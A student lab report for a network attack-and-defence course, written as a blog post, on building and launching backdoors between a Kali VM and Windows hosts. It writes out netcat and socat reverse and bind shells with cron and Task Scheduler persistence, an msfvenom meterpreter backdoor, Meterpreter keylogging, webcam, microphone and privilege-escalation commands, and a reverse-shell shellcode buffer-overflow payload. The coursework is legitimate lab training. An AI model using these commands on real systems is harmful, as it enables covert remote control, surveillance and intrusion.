2019-2020-2 20175222 《网络对抗技术》 Exp2 后门原理与实践

实验内容

  • 使用netcat获取主机操作Shell,cron启动 (0.5分)
  • 使用socat获取主机操作Shell, 任务计划启动 (0.5分)
  • 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell(0.5分)
  • 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 (2分)
  • 可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell(1分)加分内容一并写入本实验报告。

基础问题回答

  • 例举你能想到的一个后门进入到你系统中的可能方式?

    答:伪装成其他应用的运行程序,欺骗用户下载。

  • 例举你知道的后门如何启动起来(win及linux)的方式?

    答:设定后门程序触发条件,到达特定时间时,后门程序启动。

    Windows 修改注册表,Linux 替换网络服务等等。

  • Meterpreter有哪些给你映像深刻的功能?

    答:获取音频,截屏,进行提权,窃取隐私。

  • 如何发现自己有系统有没有被安装后门?

    答:运行杀毒软件、防火墙,检查进程、端口、注册表、网络通信状况等等。

预备

1. 固定 IP

  • Kali 虚拟机桥接模式固定 IP 为:192.168.28.129

  • Windows 10 宿主机固定 IP 为:192.168.0.110

2. SSH 远程登录

PasswordAuthentication,PermitRootLogin为yes仍无法验证密码,登录失败,上网查找方法,历经两小时多次尝试后无果,为了不耽误后续实验,放弃了远程操作。

3. Windows 获得 linux 的 shell

  • 在 Windows 使用 netcat 程序监听本机的5222端口.\nc64.exe -l -p 5222,这里用windows powershell无法直接运行nc64.exe,需要使用.\nc64.exe

  • 在 linux 中反弹连接 Windows , nc 192.168.0.110 5222 -e /bin/sh,使用 -e 选项执行 shell 程序

4. linux 获得 Windows 的 shell

  • 在linux端使用 nc -l -p 5222 指令监听 5222 端口

  • 在Windows下,使用 .\nc64.exe -e powershell.exe 192.168.28.129 5222 指令反向连接 linux 主机的 5222 端口

  • 结果:左边 Windows PowerShell ,右边 Kali Shell

5. 使用nc指令传输数据

  • Windows 下使用 .\nc.exe -L -p 5222指令监听 5222 端口,-l指令无法运行,上网查询后改用了-L -p
  • linux 使用nc 192.168.0.110 5222指令反弹连接到Windows的 5222 端口

      

6. nc传输文件

  • linux 向 Windows 中传输文件

    • Windows中通过.\ nc64.exe -l -p 5222> file1.out 监听 5222端口
    • linux 反弹连接 Windows 的 5222 端口nc 192.168.0.110 5222 < file1.in ,Windows可以收到 linux 发来的文件。

  • Windows 向 linux 中传输文件同理。

实验


使用netcat获取主机操作Shell,cron启动

windows使用 ncat.exe -l -p 5222 监听 5222 端口。

Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。

  • crontab 指令增加一条定时任务, -e 表示编辑。在最后一行添加 50 * * * * /bin/netcat 192.168.0.110 5222 -e /bin/sh 每个时间段的第50分钟反向连接 Windows 主机的 5222 端口。

  • 时间到了 23:50 ,此时已获得了 Kali 的 shell ,使用ls查看目录


使用socat获取主机操作Shell, 任务计划启动

  • 右键windows ,找到计算机管理 ,在系统工具找到任务计划程序,创建任务

  • 常规中填写任务名称,点击触发器然后 新建触发器,设置触发时间点。

 

       

 

 

  • 操作中,导入下载解压后的socat.exe的路径,在添加参数中填入tcp-listen:5222 exec:cmd.exe,pty,stderr(把cmd.exe绑定到端口 5222 ,同时把cmd.exestderr重定向到stdout上),创建完成之后,点击确定。

            

           

  • 先锁定计算机,然后重新进入计算机,socat就会启动

  • 在kali中输入socat - tcp:192.168.0.110:5222(-代表标准的输入输出,第二个流连接到Windows主机的5222端口,IP为windows的IP),成功获得cmd shell


使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell。

说明

我的win10存在未知问题,无法运行程序

更换为Windows 7 虚拟机后进行操作

      Windows 7固定ip

      

  • 在 kali 中输入指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.28.129 LPORT=5222 -f exe > 20175222_backdoor.exe(IP为kali的IP)生成后门程序 20175222_backdoor.exe 。
  • 在Windows中使用nc.exe -lv -p 5222 > 20175222_backdoor.exe 然后等待。
  • kali中输入nc 192.168.28.131 5222 < 20175222_backdoor.exe(此处的IP为Windows的IP)将生成的后门程序传送到Windows主机,传输成功。
  • 在linux中另外打开一个终端,msfconsole进入控制台

  • 输入use exploit/multi/handler使用监听模块,设置payload

  • 使用和生成后门程序时相同的payload:set payload windows/meterpreter/reverse_tcp

  • set LHOST 192.168.28.129此处为kali的IP(和生成后门程序时指定的IP相同)

  • 端口号也相同:set LPORT 5222

  • 设置完成后,exploit开始监听

  • kali获得Windows主机的连接,并且得到了远程控制的shell

                                                                                                                  

          


使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权。

  • 截取音频:record_mic

  • 获取摄像头拍照:webcam_snap

    虚拟机无法调用笔记本的内置摄像头,操作不能实现

  • 截屏:screenshot

  • 记录击键的过程:keyscan_start读取击键的记录:keyscan_dump

  • 查看当前用户:getuid ,提取权限:getsystem

附加内容

使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。

  • 主要步骤同实验一,无需赘述。

    关闭地址随机化:

    execstack -s pwn1    //设置堆栈可执行
    execstack -q pwn1   //查询文件的堆栈是否可执行
    more /proc/sys/kernel/randomize_va_space   //查看地址随机化的状态
    echo "0" > /proc/sys/kernel/randomize_va_space  //关闭地址随机化
  • gdb 调试 

 

  • 根据 %esp 值 + 4 = 0xffffd584

  • 由此更改注入代码前 4 个 \x 数据。

  • perl -e 'print "A" x 32;print"\x84\xd5\xff\xff\x90\x90\x90\x90\x90\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"' > input_2
  •       在另终端中先启动 msfconsole

  • use exploit/multi/handler 用于设置

  • payload set payload linux/x86/shell_reverse_tcp set LHOST 127.0.0.1设置IP为回环地址

  • set LPORT 4444 根据代码设置端口

  • exploit 设置完成开始监听

  • 返回这一终端中后执行:(cat input_2;cat) | ./pwn1 ,成功获得shell 。

          

实验总结与体会

ssh遇到的问题是输入密码无法登录,弹出Permission denied, please try again,这个问题按道理只要更改/etc/ssh/sshd_config中内容为PermitRootLogin yes就可以解决,但不知道为什么反复尝试都无法解决,包括重装ssh服务,按资料修改更多文件内容。因为ssh服务不会影响实验进行,所以最后选择放弃。

一开始在msfconsole中使用exploit指令失败,发现是use exploit/multi/handler没有生效,重装msfconsole后解决。

基本上实验没有遇到太大的问题,都能顺利完成。这次学习的netcat,socat,MSF meterpreter算是正式开始了解对抗技术了,我还是非常感兴趣的,希望接下来的课程能学到更多有用的知识。

posted @ 2020-03-22 14:06  20175222罗雨石  阅读(196)  评论(0编辑  收藏  举报